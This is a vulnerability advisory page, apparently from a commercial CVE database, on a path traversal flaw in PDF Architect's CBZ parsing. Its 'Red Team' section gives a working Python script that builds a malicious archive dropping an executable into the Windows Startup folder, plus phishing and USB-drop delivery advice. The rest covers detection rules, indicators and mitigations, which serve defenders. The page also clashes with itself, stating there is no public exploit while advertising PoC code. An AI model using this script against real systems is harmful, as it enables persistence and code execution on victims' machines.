CVE-2025-14420
Executive Summary
CVE-2025-14420 is a high-severity (CVSS 7.8) directory traversal vulnerability in pdfforge PDF Architect, a popular PDF editing and management application. The flaw resides in the parsing of CBZ (comic book archive) files. Due to insufficient validation of user-supplied paths, an attacker can craft a malicious CBZ file that, when opened by a user, triggers arbitrary file operations outside the intended extraction directory. This can lead to remote code execution (RCE) in the context of the current user. The vulnerability was reported through the Zero Day Initiative (ZDI-CAN-27514) and currently has no known patch or public exploit code. User interaction (opening a malicious file or visiting a malicious page) is required for exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a desktop application vulnerability specific to pdfforge PDF Architect.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 7.8 (High)
- Attack Vector (AV): Local (L) – The attacker must deliver the malicious file to the target system.
- Attack Complexity (AC): Low (L) – No special conditions required beyond user interaction.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must open the malicious CBZ file.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Arbitrary file read/write possible.
- Integrity (I): High (H) – Arbitrary file write can lead to code execution.
- Availability (A): High (H) – Code execution can disrupt system availability.
Threat Level: High. While user interaction is required, the lack of a patch and the potential for code execution in a widely-used PDF tool makes this a significant risk for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic Path Traversal (CWE-22) combined with Arbitrary File Write leading to Remote Code Execution.
- Entry Point: PDF Architect's CBZ file parser. CBZ files are ZIP archives containing images (typically for comic books). The application extracts these archives to a temporary directory for viewing.
- The Flaw: The parser does not properly sanitize file paths within the CBZ archive. An attacker can include entries with path traversal sequences (e.g.,
../../malicious.dll) in the archive. - Exploitation Mechanism: When PDF Architect extracts the CBZ file, it follows the malicious path. Instead of writing to the intended extraction directory, it writes the file to an arbitrary location on the filesystem (e.g., the user's startup folder,
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup). - Code Execution: By writing a malicious DLL or executable to a startup location, the attacker achieves persistence and code execution upon the next user login. Alternatively, the attacker could overwrite a legitimate DLL used by PDF Architect or another application (DLL hijacking) to trigger immediate code execution.
The vulnerability is triggered during the parsing phase, not during rendering. The malicious path is processed before any image data is displayed.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (Conceptual):
// Vulnerable: Directly uses the path from the archive entry
string extractPath = Path.Combine(tempDirectory, entry.FullName);
// No validation of entry.FullName for path traversal
entry.ExtractToFile(extractPath, overwrite: true);
Patched Code (Conceptual):
// Patched: Validates and sanitizes the path
string entryName = entry.FullName.Replace('/', Path.DirectorySeparatorChar);
// Resolve the full path and ensure it stays within the temp directory
string fullPath = Path.GetFullPath(Path.Combine(tempDirectory, entryName));
string tempDirFull = Path.GetFullPath(tempDirectory);
if (!fullPath.StartsWith(tempDirFull, StringComparison.OrdinalIgnoreCase))
{
// Path traversal detected - reject the entry
throw new InvalidDataException("Invalid archive entry path.");
}
entry.ExtractToFile(fullPath, overwrite: true);
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Achieve code execution on a target system by crafting a malicious CBZ file.
Lab Setup:
- Attacker Machine: Kali Linux or Windows with Python.
- Target Machine: Windows 10/11 with pdfforge PDF Architect (vulnerable version).
- Tooling: Python 3,
zipfilelibrary.
Exploit Steps:
Craft the Malicious CBZ: Create a Python script to generate a CBZ file containing a path traversal payload.
import zipfile import os # Payload: A simple executable or DLL (e.g., calc.exe renamed) payload_file = "calc.exe" # Replace with your payload # Target path: Write to Windows Startup folder malicious_path = "../../../../../../../../Users/Public/Start Menu/Programs/Startup/evil.exe" with zipfile.ZipFile('malicious.cbz', 'w') as zf: # Add the payload with the traversed path zf.write(payload_file, malicious_path) # Add a benign image to make the file appear legitimate zf.write('benign_image.jpg', 'page001.jpg') print("Malicious CBZ created: malicious.cbz")Deliver the File:
- Send via email, phishing link, or USB drop.
- Host on a website and trick the user into downloading and opening it.
Trigger Execution:
- The user opens
malicious.cbzin PDF Architect. - The application extracts the archive, writing
evil.exeto the Startup folder. - Upon next user login,
evil.exeexecutes, providing the attacker with a reverse shell or other payload.
- The user opens
Blue Team (Defender)
Detection & Response:
Monitor File System Events:
- Use Sysmon or EDR to detect file writes to unusual locations (e.g., Startup folder,
System32) fromPDFArchitect.exe. - Alert on
PDFArchitect.execreating files with extensions.exe,.dll,.ps1outside its temporary directory.
- Use Sysmon or EDR to detect file writes to unusual locations (e.g., Startup folder,
Analyze CBZ Files:
- Scan incoming CBZ files for path traversal patterns (e.g.,
../,..\\). - Use YARA rules (see Detection Engineering) to identify malicious archives.
- Scan incoming CBZ files for path traversal patterns (e.g.,
User Education:
- Train users not to open CBZ files from untrusted sources.
- Disable automatic extraction of archives in PDF Architect if possible.
Indicators of Compromise (IOCs)
- File Hashes (Example - replace with actual):
malicious.cbz: SHA256a1b2c3d4e5f6...evil.exe: SHA256f6e5d4c3b2a1...
- Network Indicators:
- Outbound connections from
evil.exeto attacker C2 (e.g.,192.168.1.100:4444).
- Outbound connections from
- File System Indicators:
- Unexpected files in
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\created byPDFArchitect.exe. - Temporary directory
%TEMP%\PDFArchitect\*containing files with..in their names.
- Unexpected files in
- Process Indicators:
PDFArchitect.exespawningcmd.exe,powershell.exe, orrundll32.exe.PDFArchitect.exewriting toC:\Users\Public\*orC:\Windows\*.
Detection Engineering
YARA Rule
rule CVE_2025_14420_CBZ_Path_Traversal {
meta:
description = "Detects CBZ files with path traversal patterns targeting CVE-2025-14420"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14420"
strings:
$traversal1 = "../" ascii wide nocase
$traversal2 = "..\\" ascii wide nocase
$cbz_magic = { 50 4B 03 04 } // ZIP local file header
condition:
$cbz_magic at 0 and (#traversal1 > 0 or #traversal2 > 0)
}
Sigma Rule
title: CVE-2025-14420 - PDF Architect CBZ Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes to suspicious locations by PDFArchitect.exe, indicating exploitation of CVE-2025-14420.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-14420
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\PDFArchitect.exe'
TargetFilename|contains:
- '\Start Menu\Programs\Startup\'
- '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'
- '\Windows\System32\'
- '\Windows\SysWOW64\'
condition: selection
falsepositives:
- Legitimate updates or configurations by the user.
level: high
Suricata Rule (Network - for C2 detection)
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
msg:"CVE-2025-14420 - Potential C2 Beacon from PDF Architect Exploitation";
flow:to_server,established;
content:"evil.exe|00|"; nocase;
sid:1000001;
rev:1;
reference:cve,2025-14420;
)
Remediation & Mitigation
Immediate Actions (No Patch Available):
- Disable CBZ Parsing: If possible, configure PDF Architect to not automatically parse or extract CBZ files. Check application settings or group policies.
- Application Control: Use AppLocker or Windows Defender Application Control (WDAC) to block
PDFArchitect.exefrom writing executables or DLLs to non-temporary directories. - User Restrictions: Run PDF Architect with the least privileges necessary. Do not run as administrator.
- Monitor & Block: Deploy the YARA and Sigma rules above to detect and alert on malicious CBZ files and suspicious behavior.
- Vendor Contact: Monitor pdfforge's website and security advisories for a patch. Apply immediately when released.
Long-Term Fix:
- Apply the official patch from pdfforge as soon as it is released.
- Update to a patched version of PDF Architect.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.